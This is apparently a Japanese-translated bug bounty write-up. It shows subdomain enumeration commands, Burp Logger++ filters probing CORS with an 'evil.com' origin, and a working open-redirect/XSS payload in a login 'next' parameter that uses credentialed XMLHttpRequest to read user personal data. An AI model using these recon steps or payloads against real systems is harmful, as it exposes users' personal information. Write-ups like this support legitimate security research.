ソース：
脆弱性：CORS
訳：
私たちはドメイン名 redacted.com を使用し、Google Dorking を通じてできるだけ多くのサブドメインを収集しました。
site:"*.redacted.com"
Google の結果から見つけた新しいサブドメインをテキスト ファイルに追加しました。 これは手動で時間のかかるプロセスだったので、次のように高速化を試みました。
site:"*.redacted.com" -www -blog -mail
特定のフィルタを使用すると、サブドメインなどの用語を Google 検索結果から除外できます。
その後、サブファインダー、アセットファインダー、アマスなどのパッシブ列挙ツールを利用して、ターゲットに関連付けられたサブドメインのリストを収集し、テキスト ファイルに保存しました。
subfinder -d redacted.com -all -silent -nc -o subdomains.txt
assetfinder --subs-only redacted.com | sort -u >> subdomains.txt
amass enum -passive -d redacted.com -silent -nocolor | sort -u >> subdomains.txt
コマンドを実行した後、「sort -u」を使用して重複を削除します。
ただし、このプロセスでは、anew や Deduplicate などのツールが役立ちます。
パッシブ列挙後、DNS 解決のために出力をファイルに保存します。
Shuffledns ツールを利用してサブドメイン ブルートフォースを実行し、結果の出力を subdomains.txt という名前のファイルに保存しました。
shuffledns -d redacted.com -r massdns/lists/resolvers.txt -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -silent -nc | sort -u >> subdomains.txt
「サブドメインの置換」ステップでは、Altrex ツールを使用して、置換を含むサブドメインの新しいリストを作成しました。
cat subdomains.txt | alterx -silent -o subdomain-permutation.txt
他のツールとは別に、dnsgen ツールを利用することもできます。
DNS 解決に取り組んでいる間、massdns ツールを使用しました。
dnsx も実行可能なオプションですが、以前のテストでは、massdns の方がはるかに高速に実行されることが判明しました。
cat subdomain-permutation.txt | massdns -r /root/massdns/lists/resolvers.txt -o L -w dns-resolving.txt
このセクションを完了したので、次のステップはサービス検出です。
これは httpx ツールを使用して実行します。
これまで説明した手順は、自動化ツールの Recon プロセスの概要です。
このツールを設計する際の私の目標は、最適かつ効率的なパフォーマンスを確保することでした。
これは、冗長性を回避し、プロセスを繰り返す必要性を最小限に抑えることを意味します。
自動化ツールを使用して Recon プロセスについて簡単に説明しました。
繰り返しや冗長性を避けるために、次の方法で httpx ツールを利用することをお勧めします。
その後、awk コマンドを使用して自動化ツールを作成し、必要な列を選択します。
httpx を次のように使用しました。
cat dns-resolving.txt | httpx -sc -title -td -favicon -asn -silent -nc -o service-discovery.txt
このステップの出力をステータス コードに基づいて整理し、範囲 (200 や 300 など) ごとに個別のテキスト ファイルにグループ化しました。
その後、EyeWitness ツールを使用して、ステータス コード範囲 200 を含むテキスト ファイルのスクリーンショットをキャプチャしました。
EyeWitness は、Web ページのスクリーンショットを撮るために特別に設計されたツールです。
EyeWitness の出力を利用してドメインにアクセスし、Burp Suite を使用してリクエストとレスポンスをキャプチャしました。
その間、Logger++ 拡張機能も使用しました。
これにより、高度なフィルターを定義して、ログに基づいて疑わしいエンドポイントや脆弱なエンドポイントを特定できるようになります。
ハンティングに便利なフィルターをまとめたリポジトリを紹介します。
私はいくつかのシリーズを私の方法論に基づいて修正し、現在も継続的に使用しています。
このフィルターを使用して Cors Misconfiguration の脆弱性を発見しました。
Request.Headers CONTAINS "origin" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin")
さらに、Logger++ を AutoRepeater 拡張機能と組み合わせて使用することもできます。
AutoRepeater で、元のヘッダーをヘッダー内の目的の値に追加または置換する置換を追加します。
または、
最後に、Logger++ では、AutoRepeater に加えて、フィルターを適用して脆弱なエンドポイントを見つけることができます。
Request.Headers CONTAINS "origin: evil.com" AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin: evil.com")
脆弱なエンドポイントに到達するのは驚くほど簡単でした。
最初に、Logger++ を使用し、最初のフィルターを適用しました。
疑わしいエンドポイントの 1 つを Repetear に送信すると、サブドメインのみが脆弱であることがわかりました。
特定のエンドポイントのレスポンスボディに氏名、電子メールアドレス、携帯電話番号などの個人情報が表示されていることに気付きました。
これにより、ターゲットのサブドメインの 1 つで XSS 脆弱性を検索する決意がさらに強くなりました。
EyeWitness の出力を確認し続けたところ、数分後に、オープンなリダイレクトと XSS の脆弱性がある可能性のある疑わしいログイン ページが見つかりました。
https://subdomain.redacted.com/login/mobile?next=https://subdomain.redacted.com
まず、オープンなリダイレクトの脆弱性を確認し、次に XSS テストに進みました。
https://subdomain.redacted.com/login/mobile?next=javascript:alert(document.domain)
携帯電話番号と OTP コードを入力した後、XSS 攻撃を実行しました。
いくつかの実験を行った結果、両方の脆弱性を利用して望ましい結果を達成するエクスプロイトを発見しました。
https://subdomain.redacted.com/login/mobile?next=javascript:function(){var xhttp=new XMLHttpRequest();xhttp.onreadystatechange=function(){if(xhttp.readyState==4&&xhttp.status==200){alert(xhttp.responseText);}};xhttp.open("GET","https://api.redacted.com/api/v2/user",true);xhttp.withCredentials=true;xhttp.send();})();
再度ログインすると、JavaScriptコードが実行され、ユーザー情報が表示されます。
ほなほな。
